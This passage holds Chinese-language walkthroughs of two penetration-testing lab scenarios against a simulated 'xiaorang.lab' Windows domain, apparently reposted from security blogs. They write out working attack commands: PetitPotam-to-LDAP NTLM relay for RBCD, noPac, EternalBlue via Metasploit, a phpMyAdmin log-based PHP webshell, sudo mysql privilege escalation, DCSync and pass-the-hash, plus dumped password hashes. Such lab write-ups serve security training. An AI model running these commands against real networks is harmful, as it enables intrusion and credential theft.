    2repwedqh2a14263.png
  3. 开代理
    xyi3dxzqzn214265.png
  4. 挂代理扫445,获取到三台主机信息

    172.22.11.45 XR-Desktop.xiaorang.lab
    172.22.11.6 xiaorang-dc.xiaorang.lab
    172.22.11.26 XR-LCM3AE8B.xiaorang.lab
    41kkz0iwvdr14267.png

  5. 关注172.22.11.45 – windows7 – MS17
    ozvvx2gk3oh14268.png
  6. MS17 一气呵成
    a1ieb5lhrr014270.png
  7. 基本操作
    waakbhdjgkn14271.png
    tg4fpav2et314273.png
    凭据列表

    Administrator 4430c690b4c1ab3f4fe4f8ac0410de4a – (本地凭据)
    John 03cae082068e8d55ea307b75581a8859 – (本地凭据)
    XR-DESKTOP$ 3aa5c26b39a226ab2517d9c57ef07e3e – (域凭据)
    yangmei 25e42ef4cc0ab6a8ff9e3edbbda91841 – xrihGHgoNZQ (明文) – (域凭据)
    本人已经试过组合爆破了,没有东西,这边直接略过演示,直接到域渗透环节
    zcikwn4werg14274.png

  8. Flag2
    tvibmczpu2314275.png
  9. 把域用户yangmei加入该机器的本地管理员
    znt1nlcuyka14277.png
  10. 确定域控IP为172.22.11.6 – xiaorang-dc
    t5uzjaqujax14279.png
  11. Bloodhound收集
    shtekg04dwi14281.png

 

0x05 – 域渗透环节, 入口 XR-Desktop: 172.22.11.45

  • 这边快速过一下 (一句话总结:不能直接拿下域控)
    1. 使用Bloodhound收集到的用户名组合获取到的密码/hashes组合爆破,没发现其他新用户
    2. MAQ = 0,加不了计算机
    3. 当前LDAP 没 TLS,远程也加不了计算机,impacket的addcomputer有两种方法samr和ldaps。samr受到MAQ = 0的限制,无法添加计算机;ldaps受到 没TLS + MAQ = 0 的限制
    4. 域控存在nopac,当前用户yangmei使用nopac没打死,并且对域内computer container没有createchild的ACL
    5. 域控存在nopac,当前用户yangmei对当前windows机器xr-desktop没WriteDacl权限,意味着无法修改SamAccountName
    6. 域内存在 DFscoerce 和 petitpotam,但是不存在CVE-2019-1040,因此放弃 DFscoerce,优先使用petitpotam
    7. NoPac exploit: Ridter/noPac: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user (github.com)
  1. Petitpotam 扫描
    f3i4rt0nalc14283.png
  2. 无ADCS + Petitpotam + ntlm中继打法
    攻击链:用petitpotam触发存在漏洞且开启了webclient服务的目标,利用petitpotam触发目标访问我们的http中继服务,目标将会使用webclient携带ntlm认证访问我们的中继,并且将其认证中继到ldap,获取到机器账户的身份,以机器账户的身份修改其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,允许我们的恶意机器账户模拟以及认证访问到目标机器 (RBCD)
  • 满足条件,目标机器需要开启webclient服务
    WebClient扫描,确定只能拿下 172.22.11.26 (XR-LCM3AE8B)
    xifsx5c4pb414284.png
  • 中继攻击前言:
    • 实战中的中继打法只需要停掉80占用服务,开启端口转发(portfwd,CS在后续版本中添加了rportfwd_local,直接转发到客户端本地)
    • 本次演示类似实战的打法,不选择把impacket丢到入口ubuntu上面这种操作
  1. 中继攻击环境配置: 端口转发 + 代理
    我们目前需要把服务器的80,转发到客户端本地的80
  • 注意:由于SSH的反向端口转发监听的时候只会监听127.0.0.1,所以这时候需要点技巧
    如图所示,即使反向端口转发79端口指定监听全部 (-R \*:79:127.0.0.1:80),端口79依旧绑定在了127.0.0.1(图中顺便把socks5代理也开了)
    ezutnga4bnz14285.png
    加多一条socat,让流量 0.0.0.0:80 转发到 127.0.0.1:79,再反向转发回客户端本地的80 ,变相使80监听在0.0.0.0
    urwqfau3usi14286.png
    测试,从172.22.11.76:80 进来的流量直接转发到了我们本地
    3rw45zlw1sy14288.png
    本地开启ntlmrelayx
  • 注意:
    • 前面提到,没有ldaps,所以不能使用addcomputer
    • 同时在使用proxychains后,ldap://后面只能接dc的ip
    • 利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD
      sudo proxychains4 -q -f proxychains.conf ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
      uqvkbrvnuvn14291.png
  1. 使用Petitpotam触发 XR-LCM3AE8B 认证到172.22.11.76 (ubuntu)
    proxychains4 -q -f ~/HTB/Spoofing/proxychains.conf python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt XR-LCM3AE8B
    可以看到,已经完成RBCD攻击了,接下来就是直接申请XR-LCM3AE8B的银票了
    0som3gysxym14293.png
  2. 申请XR-LCM3AE8B CIFS票据
    uqgmj0ub5o214295.png

 

0x06 – 域渗透环节 – NoPAC, 入口 XR-LCM3AE8B:172.22.11.26

  1. psexec
  • flag03在 C:\users\administrator\flag\flag03.txt (这里没截图)
    kexldxxklhy14297.png
  1. smbclient.py 传 mimikatz
    td0lapyx0vh14299.png
  2. 获取到新凭据
     zhanghui 1232126b24cdf8c9bd2f788a9d7c7ed1
    

    es13wzn2iug14301.png

  3. nopac
  • 只有zhanghui能成功,zhanghui在MA_Admin组,MA_Admin组对computer 能够创建对象,但是在bloodhound没看到
    AdFind.exe -b "CN=Computers,DC=xiaorang,DC=lab" nTSecurityDescriptor -sddl+++
    immthpczhrb14304.png
    Bloodhound看不到,主要原因是没把CreateChild采集进json
    ckjcsjpzsdw14306.png
  1. 回到nopac,加上 create-child 参数
    3oe42q1owwe14308.png

 

0x07 – 域渗透环节 – xiaorang-dc

  1. 使用nopac申请到的cifs票据登录进入DC
  • flag04在 C:\users\administrator\flag\flag04.txt (这里没截图)
    yqagpmzy03l14310.png
  1. 域管 (略过使用mimikatz)
    administrator 0fadb57f5ec71437d1b03eea2cda70b9
    ![[rubipgrhkqo14313.png

 

0x08 – 瞎玩

尝试解决Bloodhound.py采集不到CreateChild
bloodhound/enumeration/acls.py里面其实已经定义好了变量,只需要调用即可
3a15h0ywoqe14315.png
来到170行,我们添加上去,找到CreateChild就添加进数据
jlscbowow2y14316.png
重新跑一遍bloodhound.py,观察containers的结果,发现已经有相关数据了,RID 1132 = MA_Admin组
bklh54kb4q214318.png
Bloodhound示意图,但是数据还是乱
0btwskrdhze14320.png

原文链接: https://www.anquanke.com/post/id/285771

开启靶机后是一个带着 ThinkPHP icon 的登陆界面,直接测试一下

pr3aixxmthh14332.png

存在 5.0.23 RCE

avb2fkz5ot014333.png

打一下,PHP-7.4.3 的环境,看一下 disable_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare
2bves0gkpyg14334.png

传马上去,蚁剑连接,是www-data权限,那么就得想办法提权进到/root

ptodkvtli0a14335.png

在以前关注的公众号下找了些文章,Web安全工具库 这篇写的挺全的,《Linux提权备忘录》

尝试cat /etc/sudoers被告知Permission denied,换成sudo -l查看

0vj0bijbpzi14336.png

这个网站里可以提供命令提权参考

qbhtoepnebh14338.png

可以使用mysql来实现,sudo mysql -e '! cat /root/flag/flag01.txt'拿到第一部分 flag

mpnwk2mcgmc14339.png

ifconfig查下 IP

xl1tobyxl4y14340.png

把 fscan 传上去然后扫下 C 段,./fscan_amd64 -h 172.22.1.1/24,结果在当下的 result.txt 里

172.22.1.18:3306 open
172.22.1.2:88 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
[*] 172.22.1.2  (Windows Server 2016 Datacenter 14393)
[+] 172.22.1.21 MS17-010    (Windows 7 Professional 7601 Service Pack 1)
[+] NetInfo:
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[+] NetInfo:
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[+] NetInfo:
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[*] 172.22.1.2     [+]DC XIAORANG\DC01              Windows Server 2016 Datacenter 14393
[*] WebTitle:http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
[*] 172.22.1.18          XIAORANG\XIAORANG-OA01     Windows Server 2012 R2 Datacenter 9600
[*] 172.22.1.21          __MSBROWSE__\XIAORANG-WIN7     Windows 7 Professional 7601 Service Pack 1
[*] WebTitle:http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle:http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
[+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

.15 就不用看了,.21 是个存在永恒之蓝的 Win7,.18 是个信呼OA 的系统,.2 是个域控

用 NPS+Proxifier 代理转发,先看 .18

h5lgfcmqjp114341.png

然后就有两个做法,第一个是针对信呼OA的一个文件上传漏洞,可以参考 Y4tacker师傅的文章,在利用弱口令 admin/admin123 登录后直接打 exp 就行

第二种做法是在扫目录基础上,利用/phpmyadmin,可以直接 root/root 登录,然后利用日志写入 webshell

y52lpwcwv3314342.png

第一步先执行show variables like 'general%';查看是否开启日志以及存放的日志位置

0gqyq0hecc014344.png

第二步set global general_log = ON;开启日志

ainw4x2jgid14345.png

第三步set global general_log_file设置日志保存位置

ftsk54ijihs14346.png

最后select '<?php eval($_POST[cmd]);?>';写然后蚁剑连接,flag 就在C:/Users/Administrators/flag

tlz0e2dogff14347.png

接下来看 .21,是台 Win7 的机子,可以打 MS17-010 ,试了一下不出网,采用正向监听即可

先挂代理,proxychains msfconsole走 socks5 流量,然后依次use exploit/windows/smb/ms17_010_eternalblue=>set payload windows/x64/meterpreter/bind_tcp_uuid=>set RHOSTS 172.22.1.21=>exploit

vy2ug4xabn314348.png

得到正向的 meterpreter shell 后,接下来就是利用 DCSync

DCSync的介绍可以参考这篇文章,最大的特点就是可以实现不登录到域控而获取域控上的数据

在 MSF 下直接load kiwi,然后kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit导出域内所有用户的 Hash

1zrjq0e2br514349.png

之前扫出来 .2 的 445 端口开放,利用 smb 哈希传递,直接用 kali 自带的 crackmapexec,proxychains crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "$cmd",最后一部分 flag 在/Users/Administrators/flag

gqrs4cmeht514350.png

原文链接: http://119.45.47.125/index.php/2022/11/24/yunjing-4/